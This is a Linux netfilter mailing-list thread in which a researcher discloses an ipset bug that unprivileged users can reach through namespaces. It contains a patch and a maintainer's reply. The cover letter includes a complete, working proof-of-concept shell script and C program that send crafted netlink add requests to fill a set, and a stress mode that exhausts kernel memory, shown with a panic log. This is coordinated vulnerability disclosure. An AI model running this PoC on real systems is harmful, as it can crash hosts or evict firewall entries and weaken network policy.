* [PATCH nf 0/1] ipset: ignore port ranges for portless protocols
@ 2026-10-21 19:09 Zhiling Zou
2026-10-21 19:09 ` [PATCH nf 1/1] " Zhiling Zou
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-21 19:09 UTC (permalink / raw)
To: netfilter-devel; +Cc: pablo, fw, phil, kadlec, zhilinz, oliver, vega
Hi Linux kernel maintainers,
We found and validated an issue in
net/netfilter/ipset/ip_set_hash_netportnet.c. The bug is reachable by a
non-root user via user and network namespaces.
This bug is tracked at: https://bugtracker.nebusec.ai/f/12359
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
hash_netportnet4_uadt() canonicalizes the port to zero for protocols
without ports and clears with_ports. However, when an IP range is
present, the range path still reads IPSET_ATTR_PORT_TO and iterates the
specified port range. For a portless protocol such as GRE, a single
range request can therefore install nonzero-port keys that packet-side
matching never creates. These unreachable entries consume maxelem; with
forceadd, they can also evict effective entries and leave the set's
policy incomplete.
The IPv4 range path should only expand the port dimension when
with_ports is set. Address ranges still expand with the canonical zero
port. The IPv6 handler already avoids port-range expansion when the
protocol does not support ports.
Reproducer:
./poc.sh prove
./poc.sh stress 100
For the namespace proof, run as test_user:
PATH=/usr/sbin:/usr/bin:/sbin:/bin \
unshare -Urn sh -c '
/usr/sbin/ipset create u hash:net,port,net family inet maxelem 4
/home/test_user/poc prove u
/usr/sbin/ipset list u -o save
'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The stress mode is run as root because it sets vm.panic_on_oom=2.
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SETNAME=${SETNAME:-h6m}
MODE=${1:-prove}
cd "$DIR"
make
case "$MODE" in
prove)
ipset destroy "$SETNAME" 2>/dev/null || true
ipset create "$SETNAME" hash:net,port,net family inet maxelem 4
./poc prove "$SETNAME"
ipset list "$SETNAME" -o save
;;
stress)
ipset destroy "$SETNAME" 2>/dev/null || true
sysctl -w vm.panic_on_oom=2
ipset create "$SETNAME" hash:net,port,net family inet maxelem 20000000 comment counters skbinfo
./poc stress "$SETNAME" "${2:-4096}"
;;
*)
echo "usage: $0 [prove|stress [loops]]" >&2
exit 2
;;
esac
------END poc.sh------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER 12
#endif
#ifndef NFNL_SUBSYS_IPSET
#define NFNL_SUBSYS_IPSET 6
#endif
#define IPSET_PROTOCOL 7
#define IPSET_CMD_ADD 9
#define IPSET_ATTR_PROTOCOL 1
#define IPSET_ATTR_SETNAME 2
#define IPSET_ATTR_DATA 7
#define IPSET_ATTR_IP 1
#define IPSET_ATTR_IP_TO 2
#define IPSET_ATTR_PORT 4
#define IPSET_ATTR_PORT_TO 5
#define IPSET_ATTR_PROTO 7
#define IPSET_ATTR_IP2 20
#define IPSET_ATTR_COMMENT 26
#define IPSET_ATTR_IPADDR_IPV4 1
#define MAX_MSG 4096
#define GRE_PROTO 47
#define PROVE_PORT_END 3
#define STRESS_PORT_END 16383
struct request {
struct nlmsghdr nlh;
struct nfgenmsg nfg;
char buf[MAX_MSG];
};
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void diex(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(1);
}
static size_t attr_total(size_t payload_len)
{
return NLA_ALIGN(NLA_HDRLEN + payload_len);
}
static struct nlattr *nla_put_raw(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type, const void *data,
size_t payload_len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t total = attr_total(payload_len);
struct nlattr *nla;
if (off + total > maxlen)
diex("netlink message too large");
nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = NLA_HDRLEN + payload_len;
if (payload_len && data)
memcpy((char *)nla + NLA_HDRLEN, data, payload_len);
if (total > nla->nla_len)
memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
nlh->nlmsg_len = off + total;
return nla;
}
static struct nlattr *nla_nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
return nla_put_raw(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}
static void nla_nest_end(struct nlmsghdr *nlh, struct nlattr *start)
{
start->nla_len = (char *)nlh + nlh->nlmsg_len - (char *)start;
}
static void nla_put_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint8_t value)
{
nla_put_raw(nlh, maxlen, type, &value, sizeof(value));
}
static void nla_put_be16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t value)
{
uint16_t be = htons(value);
nla_put_raw(nlh, maxlen, type | NLA_F_NET_BYTEORDER, &be, sizeof(be));
}
static void nla_put_string(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const char *value)
{
nla_put_raw(nlh, maxlen, type, value, strlen(value) + 1);
}
static void nla_put_ipv4(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t be_addr)
{
struct nlattr *nest = nla_nest_start(nlh, maxlen, type);
nla_put_raw(nlh, maxlen,
IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER,
&be_addr, sizeof(be_addr));
nla_nest_end(nlh, nest);
}
static int recv_ack(int fd, uint32_t seq)
{
char buf[8192];
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf),
};
struct sockaddr_nl addr;
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct nlmsghdr *nlh;
for (;;) {
ssize_t len = recvmsg(fd, &msg, 0);
if (len < 0) {
if (errno == EINTR)
continue;
die("recvmsg");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
}
}
}
static int send_bad_add(int fd, uint32_t seq, const char *setname,
uint32_t ip, uint32_t ip2, uint16_t port_end,
const char *comment)
{
struct request req;
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = &req,
.iov_len = 0,
};
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct nlattr *data;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.nfg));
req.nlh.nlmsg_type = (NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_ADD;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_seq = seq;
req.nfg.nfgen_family = AF_INET;
req.nfg.version = NFNETLINK_V0;
req.nfg.res_id = htons(0);
nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL);
nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_SETNAME, setname);
data = nla_nest_start(&req.nlh, sizeof(req), IPSET_ATTR_DATA);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP, ip);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP_TO, ip);
nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT, 0);
nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT_TO, port_end);
nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTO, GRE_PROTO);
nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP2, ip2);
if (comment)
nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_COMMENT,
comment);
nla_nest_end(&req.nlh, data);
iov.iov_len = req.nlh.nlmsg_len;
if (sendmsg(fd, &msg, 0) < 0)
die("sendmsg");
return recv_ack(fd, seq);
}
static uint32_t nth_ipv4(uint32_t base_host, unsigned int index)
{
return htonl(base_host + index);
}
static void usage(const char *prog)
{
fprintf(stderr,
"Usage:\n"
" %s prove <setname>\n"
" %s stress <setname> [loops]\n",
prog, prog);
exit(2);
}
int main(int argc, char **argv)
{
static char comment[255];
const char *mode;
const char *setname;
unsigned int loops = 0;
unsigned int i;
uint32_t seq = 1;
int fd, ret;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
if (argc < 3)
usage(argv[0]);
mode = argv[1];
setname = argv[2];
memset(comment, 'A', sizeof(comment) - 1);
comment[sizeof(comment) - 1] = '\0';
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (fd < 0)
die("socket");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind");
if (strcmp(mode, "prove") == 0) {
ret = send_bad_add(fd, seq++, setname,
inet_addr("192.0.2.1"),
inet_addr("198.51.100.1"),
PROVE_PORT_END, NULL);
printf("prove returned %d\n", ret);
close(fd);
return ret == 0 ? 0 : 1;
}
if (strcmp(mode, "stress") != 0)
usage(argv[0]);
loops = argc >= 4 ? (unsigned int)strtoul(argv[3], NULL, 0) : 0;
if (loops == 0)
loops = 4096;
for (i = 0; i < loops; i++) {
uint32_t ip = nth_ipv4(0xc6120001U, i);
uint32_t ip2 = nth_ipv4(0xc6330001U, i);
ret = send_bad_add(fd, seq++, setname, ip, ip2, STRESS_PORT_END,
comment);
if (ret != 0) {
fprintf(stderr,
"stress stopped at loop=%u expected_entries=%u ret=%d\n",
i, i * (STRESS_PORT_END + 1), ret);
close(fd);
return 1;
}
if ((i % 10) == 0) {
printf("loop=%u expected_entries=%u\n",
i + 1, (i + 1) * (STRESS_PORT_END + 1));
fflush(stdout);
}
}
close(fd);
return 0;
}
------END poc.c------
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
all: poc
poc: poc.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f poc
------END Makefile------
----BEGIN crash log----
[ 1228.171565][T11210] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1228.172471][T11210] CPU: 3 UID: 0 PID: 11210 Comm: poc Not tainted 6.12.95 #2
[ 1228.173111][T11210] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1228.174082][T11210] Call Trace:
[ 1228.174314][T11210] <TASK>
[ 1228.174562][T11210] panic+0x533/0x610
[ 1228.174894][T11210] ? dump_header+0x5d2/0x800
[ 1228.175285][T11210] ? __pfx_panic+0x10/0x10
[ 1228.175652][T11210] out_of_memory+0x73c/0x1430
[ 1228.176048][T11210] ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.176498][T11210] ? __pfx_out_of_memory+0x10/0x10
[ 1228.176922][T11210] ? lock_acquire+0x2f/0xb0
[ 1228.177297][T11210] ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.177761][T11210] __alloc_pages_noprof+0x1ecc/0x26d0
[ 1228.178220][T11210] ? hlock_class+0x4e/0x130
[ 1228.178603][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.179072][T11210] ? __lock_acquire+0xc96/0x3c40
[ 1228.179477][T11210] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1228.180016][T11210] ? __pfx___lock_acquire+0x10/0x10
[ 1228.180480][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.180887][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.181283][T11210] ? find_held_lock+0x2d/0x110
[ 1228.181656][T11210] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 1228.182050][T11210] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1228.182493][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.182904][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.183290][T11210] ? xas_load+0x1e2/0x410
[ 1228.183606][T11210] ? filemap_get_entry+0xbd/0x2c0
[ 1228.183987][T11210] folio_alloc_noprof+0x16/0x90
[ 1228.184343][T11210] filemap_alloc_folio_noprof+0x279/0x320
[ 1228.184766][T11210] ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 1228.185204][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.185609][T11210] __filemap_get_folio+0x35b/0x7a0
[ 1228.185995][T11210] filemap_fault+0x10db/0x1fe0
[ 1228.186341][T11210] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.186740][T11210] ? __pfx_filemap_fault+0x10/0x10
[ 1228.187112][T11210] ? __pfx_lock_release+0x10/0x10
[ 1228.187489][T11210] __do_fault+0xed/0x3a0
[ 1228.187806][T11210] do_pte_missing+0x10c9/0x3710
[ 1228.188159][T11210] ? pte_offset_map_nolock+0x7a/0x170
[ 1228.188571][T11210] __handle_mm_fault+0xac8/0x1db0
[ 1228.188940][T11210] ? __pfx_lock_release+0x10/0x10
[ 1228.189307][T11210] ? down_read_trylock+0x1f0/0x3f0
[ 1228.189675][T11210] ? lock_vma_under_rcu+0x121/0x720
[ 1228.190044][T11210] ? __pfx___handle_mm_fault+0x10/0x10
[ 1228.190484][T11210] handle_mm_fault+0x2ad/0x910
[ 1228.190872][T11210] do_user_addr_fault+0x301/0xe10
[ 1228.191252][T11210] exc_page_fault+0x5d/0xe0
[ 1228.191577][T11210] asm_exc_page_fault+0x26/0x30
[ 1228.191930][T11210] RIP: 0033:0x7f53a5e77120
[ 1228.192245][T11210] Code: 49 01 d0 49 89 d1 48 8b 43 68 89 f5 48 8d 4c 6d 00 48 8b 78 08 48 8b 83 f8 00 00 00 48 8b 40 08 4c 01 cf 4c 8d 24 c8 4d 01 cc <49> 8b 74 24 08 4d 8b 2c 24 48 89 f0 49 01 d5 48 c1 e8 20 48 8d 0c
[ 1228.193557][T11210] RSP: 002b:00007fff1e324a40 EFLAGS: 00010206
[ 1228.193978][T11210] RAX: 00005560447dd8e0 RBX: 00007f53a5e9d5f0 RCX: 000000000000001b
[ 1228.194497][T11210] RDX: 00005560447dd000 RSI: 0000000000000009 RDI: 00005560447dd638
[ 1228.195026][T11210] RBP: 0000000000000009 R08: 00005560447dd3e0 R09: 0000000000000000
[ 1228.195551][T11210] R10: 0000000000000000 R11: 0000000000000202 R12: 00005560447dd9b8
[ 1228.196078][T11210] R13: 00005560447e10e0 R14: 000000000000004b R15: 0000000000000001
[ 1228.196656][T11210] </TASK>
[ 1228.197246][T11210] Kernel Offset: disabled
[ 1228.197645][T11210] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipset: ignore port ranges for portless protocols
net/netfilter/ipset/ip_set_hash_netportnet.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH nf 1/1] ipset: ignore port ranges for portless protocols
2026-10-21 19:09 [PATCH nf 0/1] ipset: ignore port ranges for portless protocols Zhiling Zou
@ 2026-10-21 19:09 ` Zhiling Zou
2026-10-22 19:31 ` Jozsef Kadlecsik
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-21 19:09 UTC (permalink / raw)
To: netfilter-devel; +Cc: pablo, fw, phil, kadlec, zhilinz, oliver, vega
hash_netportnet4_uadt() canonicalizes the port to zero for protocols
without ports and clears with_ports. The range path nevertheless reads
IPSET_ATTR_PORT_TO and iterates the supplied port range. A request with
an address range and a portless protocol can therefore add keys that
packet-side matching never generates, consuming maxelem or evicting
valid entries when forceadd is enabled.
Only expand the port dimension when the protocol supports ports. Address
ranges continue to be processed with the canonical zero port.
Fixes: 7c3ad056ef79 ("netfilter: ipset: Add hash:net,port,net module to kernel.")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/12359
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/netfilter/ipset/ip_set_hash_netportnet.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/netfilter/ipset/ip_set_hash_netportnet.c b/net/netfilter/ipset/ip_set_hash_netportnet.c
index 61af1ce271279..dd6cf8c36ba07 100644
--- a/net/netfilter/ipset/ip_set_hash_netportnet.c
+++ b/net/netfilter/ipset/ip_set_hash_netportnet.c
@@ -278,7 +278,7 @@ hash_netportnet4_uadt(struct ip_set *set, struct nlattr *tb[],
}
port_to = port = ntohs(e.port);
- if (tb[IPSET_ATTR_PORT_TO]) {
+ if (with_ports) {
port_to = ip_set_get_h16(tb[IPSET_ATTR_PORT_TO]);
if (port > port_to)
swap(port, port_to);
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH nf 1/1] ipset: ignore port ranges for portless protocols
2026-10-21 19:09 ` [PATCH nf 1/1] " Zhiling Zou
@ 2026-10-22 19:31 ` Jozsef Kadlecsik
0 siblings, 0 replies; 3+ messages in thread
From: Jozsef Kadlecsik @ 2026-10-22 19:31 UTC (permalink / raw)
To: Zhiling Zou
Cc: netfilter-devel, Pablo Neira Ayuso, Florian Westphal, phil,
oliver, vega
Hello,
On Thu, 22 Oct 2026, Zhiling Zou wrote:
> hash_netportnet4_uadt() canonicalizes the port to zero for protocols
> without ports and clears with_ports. The range path nevertheless reads
> IPSET_ATTR_PORT_TO and iterates the supplied port range. A request with
> an address range and a portless protocol can therefore add keys that
> packet-side matching never generates, consuming maxelem or evicting
> valid entries when forceadd is enabled.
>
> Only expand the port dimension when the protocol supports ports. Address
> ranges continue to be processed with the canonical zero port.
Please resend your patch so that it fixes ip_set_hash_ipportnet.c and
ip_set_hash_netport.c too, which have got the same issue as far as I see.
Best regards,
Jozsef
> Fixes: 7c3ad056ef79 ("netfilter: ipset: Add hash:net,port,net module to kernel.")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://bugtracker.nebusec.ai/f/12359
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> net/netfilter/ipset/ip_set_hash_netportnet.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/netfilter/ipset/ip_set_hash_netportnet.c b/net/netfilter/ipset/ip_set_hash_netportnet.c
> index 61af1ce271279..dd6cf8c36ba07 100644
> --- a/net/netfilter/ipset/ip_set_hash_netportnet.c
> +++ b/net/netfilter/ipset/ip_set_hash_netportnet.c
> @@ -278,7 +278,7 @@ hash_netportnet4_uadt(struct ip_set *set, struct nlattr *tb[],
> }
>
> port_to = port = ntohs(e.port);
> - if (tb[IPSET_ATTR_PORT_TO]) {
> + if (with_ports) {
> port_to = ip_set_get_h16(tb[IPSET_ATTR_PORT_TO]);
> if (port > port_to)
> swap(port, port_to);
>
--
E-mail : kadlec@netfilter.org, kadlec@blackhole.kfki.hu, kadlecsik.jozsef@wigner.hu
Address: Wigner Research Centre for Physics
H-1525 Budapest 114, POB. 49, Hungary
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-10-22 19:31 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-21 19:09 [PATCH nf 0/1] ipset: ignore port ranges for portless protocols Zhiling Zou
2026-10-21 19:09 ` [PATCH nf 1/1] " Zhiling Zou
2026-10-22 19:31 ` Jozsef Kadlecsik
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.